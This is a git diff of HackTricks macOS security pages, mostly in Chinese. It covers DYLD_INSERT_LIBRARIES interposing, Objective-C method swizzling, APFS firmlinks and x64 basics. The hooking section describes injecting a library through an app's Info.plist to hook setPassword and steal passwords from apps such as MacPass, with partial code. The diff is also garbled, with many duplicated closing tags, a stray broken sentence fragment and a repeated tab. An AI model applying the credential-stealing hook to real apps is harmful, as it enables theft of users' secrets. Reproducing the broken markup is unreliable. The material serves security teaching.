{% endtab %}
|
||||
|
||||
{% tab title="interpose2.c" %}
|
||||
|
||||
### macOS功能挂钩
|
||||
|
||||
macOS提供了一种称为`DYLD_INSERT_LIBRARIES`的环境变量,允许我们在程序加载时注入动态链接库。这为我们提供了一种功能挂钩的方法,可以用来劫持程序的函数调用。
|
||||
|
||||
我们可以创建一个动态链接库,重写目标函数的实现,然后将其注入到目标程序中。这样,当目标程序调用该函数时,实际上会执行我们注入的代码。
|
||||
|
||||
以下是一个示例,展示了如何使用`DYLD_INSERT_LIBRARIES`环境变量来劫持`open`函数的调用:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
int open(const char *path, int oflag, ...) {
|
||||
int (*original_open)(const char *, int, ...);
|
||||
original_open = dlsym(RTLD_NEXT, "open");
|
||||
|
||||
printf("Intercepted open call: %s\n", path);
|
||||
|
||||
return original_open(path, oflag);
|
||||
}
|
||||
```
|
||||
|
||||
在这个示例中,我们重写了`open`函数,添加了一行打印语句,然后调用原始的`open`函数。
|
||||
|
||||
通过这种方式,我们可以在不修改目标程序源代码的情况下,劫持其函数调用,实现各种有趣的功能。
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="interpose2.c" %}
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
@ -121,21 +94,21 @@ Hello from interpose
|
|||
```
|
||||
## 方法交换
|
||||
|
||||
在 ObjectiveC 中,方法的调用方式如下:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
在 ObjectiveC 中,方法调用的方式是:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
需要**对象**、**方法**和**参数**。当调用方法时,会使用函数**`objc_msgSend`**发送**消息**:`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
需要 **对象**、**方法**和 **参数**。当调用一个方法时,使用函数 **`objc_msgSend`** 发送 **msg**:`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
对象是**`someObject`**,方法是**`@selector(method1p1:p2:)`**,参数是**value1**、**value2**。
|
||||
对象是 **`someObject`**,方法是 **`@selector(method1p1:p2:)`**,参数是 **value1**,**value2**。
|
||||
|
||||
根据对象结构,可以访问一个包含方法**名称**和**指向方法代码的指针**的**方法数组**。
|
||||
根据对象结构,可以访问一个 **方法数组**,其中 **名称** 和 **指向方法代码的指针** 被 **存储**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,由于方法和类是根据它们的名称访问的,这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索它。
|
||||
请注意,由于方法和类是根据其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索它。
|
||||
{% endhint %}
|
||||
|
||||
### 访问原始方法
|
||||
|
||||
可以访问方法的信息,如名称、参数数量或地址,如下例所示:
|
||||
可以访问方法的信息,例如名称、参数数量或地址,如下例所示:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
|
@ -201,12 +174,12 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
### 使用`method_exchangeImplementations`进行方法交换
|
||||
### Method Swizzling with method\_exchangeImplementations
|
||||
|
||||
函数**`method_exchangeImplementations`**允许**更改**一个函数的**实现地址为另一个函数**。
|
||||
函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数的实现**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
因此,当调用一个函数时,**执行的是另一个函数**。
|
||||
因此,当调用一个函数时,**执行的是另一个函数**。
|
||||
{% endhint %}
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
@ -252,16 +225,16 @@ return 0;
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
在这种情况下,如果**合法方法的实现代码**验证**方法名称**,它可以**检测**到这种方法交换并阻止其运行。
|
||||
在这种情况下,如果**合法**方法的**实现代码**对**方法****名称**进行**验证**,它可能会**检测到**这种交换并阻止其运行。
|
||||
|
||||
以下技术没有这种限制。
|
||||
以下技术没有这个限制。
|
||||
{% endhint %}
|
||||
|
||||
### 使用method_setImplementation进行方法交换
|
||||
### 使用 method\_setImplementation 进行方法交换
|
||||
|
||||
之前的格式很奇怪,因为你正在改变其中一个方法的实现。使用函数**`method_setImplementation`**,您可以将一个方法的**实现更改为另一个方法**。
|
||||
之前的格式很奇怪,因为你正在将两个方法的实现相互更改。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。
|
||||
|
||||
只需记住,如果您打算从新实现中调用原始实现的地址,请**存储原始实现的地址**,因为稍后要定位该地址将变得更加复杂。
|
||||
只需记住,如果你打算在覆盖之前从新实现中调用原始实现,请**存储原始实现的地址**,因为稍后定位该地址会复杂得多。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
@ -315,15 +288,15 @@ return 0;
|
|||
```
|
||||
## Hooking Attack Methodology
|
||||
|
||||
在这一页中,讨论了不同的挂钩函数的方法。然而,它们涉及**在进程内运行代码进行攻击**。
|
||||
在这一页中讨论了不同的函数钩取方法。然而,它们涉及到**在进程内部运行代码进行攻击**。
|
||||
|
||||
为了做到这一点,最简单的技术是通过环境变量或劫持注入[Dyld](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)。然而,我认为这也可以通过[通过任务端口进行的Dylib进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来实现。
|
||||
为了做到这一点,最简单的技术是通过环境变量或劫持来注入一个[Dyld](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)。然而,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。
|
||||
|
||||
然而,这两种选项都**限制**在**未受保护**的二进制文件/进程上。查看每种技术以了解更多限制。
|
||||
然而,这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
|
||||
|
||||
然而,函数挂钩攻击非常具体,攻击者会这样做是为了**从进程内部窃取敏感信息**(如果不是的话,你只会进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,比如MacPass。
|
||||
然而,函数钩取攻击是非常具体的,攻击者会这样做以**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。
|
||||
|
||||
因此,攻击者的向量将是要么找到漏洞,要么剥离应用程序的签名,通过应用程序的Info.plist注入**`DYLD_INSERT_LIBRARIES`**环境变量,添加类似以下内容:
|
||||
因此,攻击者的途径是找到一个漏洞或去掉应用程序的签名,通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`** 环境变量,添加类似于:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
|
@ -339,10 +312,10 @@ return 0;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
在该库中添加挂钩代码以外泄信息:密码,消息...
|
||||
在该库中添加钩子代码以提取信息:密码、消息...
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,在较新版本的 macOS 中,如果您**剥离应用程序二进制文件的签名**,并且该应用程序之前已被执行,macOS将**不再执行该应用程序**。
|
||||
请注意,在较新版本的macOS中,如果您**去除应用程序二进制文件的签名**并且它之前已被执行,macOS **将不再执行该应用程序**。
|
||||
{% endhint %}
|
||||
|
||||
#### 库示例
|
||||
|
@ -381,20 +354,21 @@ IMP fake_IMP = (IMP)custom_setPassword;
|
|||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,80 @@
|
|||
# macOS AppleFS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Apple专有文件系统(APFS)
|
||||
## Apple 专有文件系统 (APFS)
|
||||
|
||||
**Apple文件系统(APFS)**是一种现代文件系统,旨在取代分层文件系统加强版(HFS+)。其开发是为了满足**改进性能、安全性和效率**的需求。
|
||||
**Apple 文件系统 (APFS)** 是一种现代文件系统,旨在取代层次文件系统 Plus (HFS+)。其开发是为了满足对 **提高性能、安全性和效率** 的需求。
|
||||
|
||||
APFS的一些显著特点包括:
|
||||
APFS 的一些显著特性包括:
|
||||
|
||||
1. **空间共享**:APFS允许多个卷**共享单个物理设备上的相同底层空闲存储空间**。这使得空间利用更加高效,因为卷可以动态增长和收缩,无需手动调整大小或重新分区。
|
||||
1. 这意味着,与文件磁盘中的传统分区相比,**在APFS中,不同分区(卷)共享所有磁盘空间**,而常规分区通常具有固定大小。
|
||||
2. **快照**:APFS支持**创建快照**,这些快照是**只读**的,是文件系统的特定时间点实例。快照可以实现高效备份和轻松系统回滚,因为它们消耗的额外存储空间很少,可以快速创建或还原。
|
||||
3. **克隆**:APFS可以**创建共享与原始文件相同存储空间的文件或目录克隆**,直到克隆或原始文件被修改为止。此功能提供了一种有效的方式来创建文件或目录的副本,而无需复制存储空间。
|
||||
4. **加密**:APFS**原生支持全盘加密**以及按文件和按目录的加密,增强了不同用例下的数据安全性。
|
||||
5. **崩溃保护**:APFS使用**写时复制元数据方案**,即使在突然断电或系统崩溃的情况下,也能确保文件系统的一致性,降低数据损坏的风险。
|
||||
1. **空间共享**:APFS 允许多个卷 **共享单个物理设备上的相同底层可用存储**。这使得空间利用更加高效,因为卷可以动态增长和缩小,而无需手动调整大小或重新分区。
|
||||
1. 这意味着,与传统的文件磁盘分区相比,**在 APFS 中不同的分区(卷)共享所有磁盘空间**,而常规分区通常具有固定大小。
|
||||
2. **快照**:APFS 支持 **创建快照**,这些快照是 **只读的**、时间点的文件系统实例。快照使得高效备份和轻松系统回滚成为可能,因为它们消耗的额外存储极少,并且可以快速创建或恢复。
|
||||
3. **克隆**:APFS 可以 **创建与原始文件共享相同存储的文件或目录克隆**,直到克隆或原始文件被修改。此功能提供了一种高效的方式来创建文件或目录的副本,而无需重复存储空间。
|
||||
4. **加密**:APFS **原生支持全盘加密**以及逐文件和逐目录加密,增强了不同用例下的数据安全性。
|
||||
5. **崩溃保护**:APFS 使用 **写时复制元数据方案,确保文件系统一致性**,即使在突然断电或系统崩溃的情况下,也能减少数据损坏的风险。
|
||||
|
||||
总的来说,APFS为Apple设备提供了一个更现代、灵活和高效的文件系统,专注于改进性能、可靠性和安全性。
|
||||
总体而言,APFS 为 Apple 设备提供了一种更现代、更灵活和更高效的文件系统,重点在于提高性能、可靠性和安全性。
|
||||
```bash
|
||||
diskutil list # Get overview of the APFS volumes
|
||||
```
|
||||
## Firmlinks
|
||||
|
||||
`Data` 卷被挂载在 **`/System/Volumes/Data`**(您可以使用 `diskutil apfs list` 命令来检查)。
|
||||
`Data` 卷挂载在 **`/System/Volumes/Data`**(您可以使用 `diskutil apfs list` 检查这一点)。
|
||||
|
||||
可以在 **`/usr/share/firmlinks`** 文件中找到 firmlinks 的列表。
|
||||
firmlinks 的列表可以在 **`/usr/share/firmlinks`** 文件中找到。
|
||||
```bash
|
||||
cat /usr/share/firmlinks
|
||||
/AppleInternal AppleInternal
|
||||
/Applications Applications
|
||||
/Library Library
|
||||
[...]
|
||||
```
|
||||
在**左侧**是**系统卷**上的目录路径,在**右侧**是它在**数据卷**上映射的目录路径。因此,`/library` --> `/system/Volumes/data/library`
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,88 @@
|
|||
# x64简介
|
||||
# Introduction to x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **x64简介**
|
||||
## **Introduction to x64**
|
||||
|
||||
x64,也称为x86-64,是一种主要用于台式机和服务器计算的64位处理器架构。起源于由英特尔生产的x86架构,后来被AMD采用并命名为AMD64,是今天个人计算机和服务器中普遍采用的架构。
|
||||
x64,也称为 x86-64,是一种 64 位处理器架构,主要用于桌面和服务器计算。它起源于 Intel 生产的 x86 架构,后来被 AMD 采用并命名为 AMD64,现今是个人计算机和服务器中普遍使用的架构。
|
||||
|
||||
### **寄存器**
|
||||
### **Registers**
|
||||
|
||||
x64扩展了x86架构,具有**16个通用寄存器**,标记为`rax`、`rbx`、`rcx`、`rdx`、`rbp`、`rsp`、`rsi`、`rdi`,以及`r8`到`r15`。每个寄存器可以存储**64位**(8字节)的值。这些寄存器还具有32位、16位和8位的子寄存器,用于兼容性和特定任务。
|
||||
x64 在 x86 架构的基础上扩展,具有 **16 个通用寄存器**,标记为 `rax`、`rbx`、`rcx`、`rdx`、`rbp`、`rsp`、`rsi`、`rdi`,以及 `r8` 到 `r15`。每个寄存器可以存储一个 **64 位**(8 字节)值。这些寄存器还具有 32 位、16 位和 8 位的子寄存器,以便于兼容性和特定任务。
|
||||
|
||||
1. **`rax`** - 传统上用于从函数中返回值。
|
||||
2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
|
||||
3. **`rcx`** - 通常用于**循环计数器**。
|
||||
4. **`rdx`** - 用于包括扩展算术运算在内的各种角色。
|
||||
5. **`rbp`** - 栈帧的**基指针**。
|
||||
6. **`rsp`** - **栈指针**,跟踪栈的顶部。
|
||||
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
|
||||
8. **`r8`** 到 **`r15`** - x64中引入的额外通用寄存器。
|
||||
1. **`rax`** - 传统上用于 **函数的返回值**。
|
||||
2. **`rbx`** - 通常用作内存操作的 **基址寄存器**。
|
||||
3. **`rcx`** - 常用于 **循环计数器**。
|
||||
4. **`rdx`** - 在各种角色中使用,包括扩展算术操作。
|
||||
5. **`rbp`** - 堆栈帧的 **基指针**。
|
||||
6. **`rsp`** - **堆栈指针**,跟踪堆栈的顶部。
|
||||
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的 **源** 和 **目标** 索引。
|
||||
8. **`r8`** 到 **`r15`** - 在 x64 中引入的额外通用寄存器。
|
||||
|
||||
### **调用约定**
|
||||
### **Calling Convention**
|
||||
|
||||
x64的调用约定在操作系统之间有所不同。例如:
|
||||
x64 的调用约定在不同操作系统之间有所不同。例如:
|
||||
|
||||
* **Windows**:前**四个参数**通过寄存器**`rcx`**、**`rdx`**、**`r8`**和**`r9`**传递。额外的参数被推送到栈上。返回值在**`rax`**中。
|
||||
* **System V(在类UNIX系统中常用)**:前**六个整数或指针参数**通过寄存器**`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**和**`r9`**传递。返回值也在**`rax`**中。
|
||||
* **Windows**:前 **四个参数** 通过寄存器 **`rcx`**、**`rdx`**、**`r8`** 和 **`r9`** 传递。进一步的参数被推入堆栈。返回值在 **`rax`** 中。
|
||||
* **System V(通常用于类 UNIX 系统)**:前 **六个整数或指针参数** 通过寄存器 **`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`** 和 **`r9`** 传递。返回值也在 **`rax`** 中。
|
||||
|
||||
如果函数有超过六个输入,则**其余参数将通过栈传递**。**RSP**,即栈指针,必须是**16字节对齐**,这意味着在进行任何调用之前,它指向的地址必须能被16整除。这意味着通常我们需要确保我们的shellcode在进行函数调用之前RSP被正确对齐。然而,在实践中,即使不满足这一要求,系统调用也经常能够正常工作。
|
||||
如果函数有超过六个输入,**其余参数将通过堆栈传递**。**RSP**,堆栈指针,必须 **16 字节对齐**,这意味着它指向的地址在任何调用发生之前必须能被 16 整除。这意味着通常我们需要确保在进行函数调用之前,RSP 在我们的 shellcode 中正确对齐。然而,在实践中,即使不满足此要求,系统调用通常也能正常工作。
|
||||
|
||||
### Swift中的调用约定
|
||||
### Calling Convention in Swift
|
||||
|
||||
Swift有自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)找到。
|
||||
Swift 有其自己的 **调用约定**,可以在 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) 中找到。
|
||||
|
||||
### **常见指令**
|
||||
### **Common Instructions**
|
||||
|
||||
x64指令具有丰富的集合,保持与早期x86指令的兼容性并引入新指令。
|
||||
x64 指令集丰富,保持与早期 x86 指令的兼容性,并引入了新的指令。
|
||||
|
||||
* **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个。
|
||||
* 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`。
|
||||
* **`push`** 和 **`pop`**:将值推送到/从**栈**中弹出。
|
||||
* 示例:`push rax` — 将`rax`中的值推送到栈上。
|
||||
* 示例:`pop rax` — 将栈顶值弹出到`rax`中。
|
||||
* **`add`** 和 **`sub`**:**加法**和**减法**操作。
|
||||
* 示例:`add rax, rcx` — 将`rax`和`rcx`中的值相加,并将结果存储在`rax`中。
|
||||
* **`mul`** 和 **`div`**:**乘法**和**除法**操作。注意:这些操作对操作数的使用有特定行为。
|
||||
* **`call`** 和 **`ret`**:用于**调用**和**从函数返回**。
|
||||
* **`int`**:用于触发软件**中断**。例如,在32位x86 Linux中,`int 0x80`用于系统调用。
|
||||
* **`cmp`**:比较两个值并根据结果设置CPU的标志。
|
||||
* 示例:`cmp rax, rdx` — 比较`rax`和`rdx`。
|
||||
* **`je`、`jne`、`jl`、`jge`等**:**条件跳转**指令,根据先前的`cmp`或测试结果改变控制流。
|
||||
* 示例:在`cmp rax, rdx`指令之后,`je label` — 如果`rax`等于`rdx`,则跳转到`label`。
|
||||
* **`syscall`**:在一些x64系统(如现代Unix)中用于**系统调用**。
|
||||
* **`sysenter`**:在某些平台上优化的**系统调用**指令。
|
||||
* **`mov`**:**移动**一个值从一个 **寄存器** 或 **内存位置** 到另一个。
|
||||
* 示例:`mov rax, rbx` — 将 `rbx` 中的值移动到 `rax`。
|
||||
* **`push`** 和 **`pop`**:将值推入或弹出 **堆栈**。
|
||||
* 示例:`push rax` — 将 `rax` 中的值推入堆栈。
|
||||
* 示例:`pop rax` — 将堆栈顶部的值弹出到 `rax`。
|
||||
* **`add`** 和 **`sub`**:**加法**和 **减法** 操作。
|
||||
* 示例:`add rax, rcx` — 将 `rax` 和 `rcx` 中的值相加,并将结果存储在 `rax` 中。
|
||||
* **`mul`** 和 **`div`**:**乘法**和 **除法** 操作。注意:这些指令在操作数使用方面有特定行为。
|
||||
* **`call`** 和 **`ret`**:用于 **调用** 和 **返回函数**。
|
||||
* **`int`**:用于触发软件 **中断**。例如,`int 0x80` 在 32 位 x86 Linux 中用于系统调用。
|
||||
* **`cmp`**:**比较**两个值,并根据结果设置 CPU 的标志。
|
||||
* 示例:`cmp rax, rdx` — 比较 `rax` 和 `rdx`。
|
||||
* **`je`、`jne`、`jl`、`jge`、...**:**条件跳转**指令,根据先前 `cmp` 或测试的结果改变控制流。
|
||||
* 示例:在 `cmp rax, rdx` 指令之后,`je label` — 如果 `rax` 等于 `rdx`,则跳转到 `label`。
|
||||
* **`syscall`**:在某些 x64 系统(如现代 Unix)中用于 **系统调用**。
|
||||
* **`sysenter`**:在某些平台上的优化 **系统调用** 指令。
|
||||
|
||||
### **函数序言**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **推送旧的基指针**:`push rbp`(保存调用者的基指针)
|
||||
2. **将当前栈指针移动到基指针**:`mov rbp, rsp`(为当前函数设置新的基指针)
|
||||
3. **为本地变量在栈上分配空间**:`sub rsp, <size>`(其中`<size>`是所需字节数)
|
||||
2. **将当前堆栈指针移动到基指针**:`mov rbp, rsp`(为当前函数设置新的基指针)
|
||||
3. **在堆栈上为局部变量分配空间**:`sub rsp, <size>`(其中 `<size>` 是所需的字节数)
|
||||
|
||||
### **函数结语**
|
||||
### **Function Epilogue**
|
||||
|
||||
1. **将当前基指针移动到堆栈指针**:`mov rsp, rbp`(释放局部变量)
|
||||
2. **从堆栈中弹出旧的基指针**:`pop rbp`(恢复调用者的基指针)
|
||||
3. **返回**:`ret`(将控制权返回给调用者)
|
||||
|
||||
1. **将当前基指针移动到栈指针**:`mov rsp, rbp`(释放本地变量)
|
||||
2. **从栈中弹出旧的基指针**:`pop rbp`(恢复调用者的基指针)
|
||||
3. **返回**:`ret`(将控制返回给调用者)
|
||||
## macOS
|
||||
|
||||
### 系统调用
|
||||
### syscalls
|
||||
|
||||
有不同类别的系统调用,你可以[**在这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
有不同类别的 syscalls,您可以 [**在这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
|
@ -106,13 +108,13 @@ x64指令具有丰富的集合,保持与早期x86指令的兼容性并引入
|
|||
